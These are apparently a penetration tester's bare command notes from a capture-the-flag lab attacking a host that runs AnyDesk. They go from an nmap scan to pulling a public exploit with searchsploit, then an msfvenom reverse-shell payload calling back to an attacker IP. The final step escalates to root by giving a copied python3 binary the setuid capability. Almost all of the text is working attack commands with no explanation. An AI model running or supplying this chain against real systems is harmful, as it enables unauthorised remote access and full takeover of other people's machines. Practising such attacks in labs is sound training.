01nmap -sV -sC -p 22,7070,30365 10.10.107.36 -v -Pn
02 
0322/tcp    open   ssh             OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
04| ssh-hostkey: 
05|   2048 72:d7:25:34:e8:07:b7:d9:6f:ba:d6:98:1a:a3:17:db (RSA)
06|   256 72:10:26:ce:5c:53:08:4b:61:83:f8:7a:d1:9e:9b:86 (ECDSA)
07|_  256 d1:0e:6d:a8:4e:8e:20:ce:1f:00:32:c1:44:8d:fe:4e (ED25519)
087070/tcp  open   ssl/realserver?
09|_ssl-date: TLS randomness does not represent time
10| ssl-cert: Subject: commonName=AnyDesk Client
11| Issuer: commonName=AnyDesk Client
12| Public Key type: rsa
13| Public Key bits: 2048
14| Signature Algorithm: sha256WithRSAEncryption
15| Not valid before: 2022-03-23T20:04:30
16| Not valid after:  2072-03-10T20:04:30
17| MD5:   3e57 6c44 bf60 ef79 7999 8998 7c8d bdf0
18|_SHA-1: ce6c 79fb 669d 9b19 5382 8cec c8d5 50b6 2e36 475b
1930365/tcp closed unknown

01searchsploit -m linux/remote/49613.py

01msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.13.31.108 LPORT=443 -b "\x00\x25\x26" -f python -v shellcode
02#add into script, use default port (50001, its UDP)

01find / -type f -perm -04000 -ls 2>/dev/null
02 
03cd /tmp
04whereis python3
05cp /usr/bin/python3 .
06setcap cap_setuid+ep python3
07./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'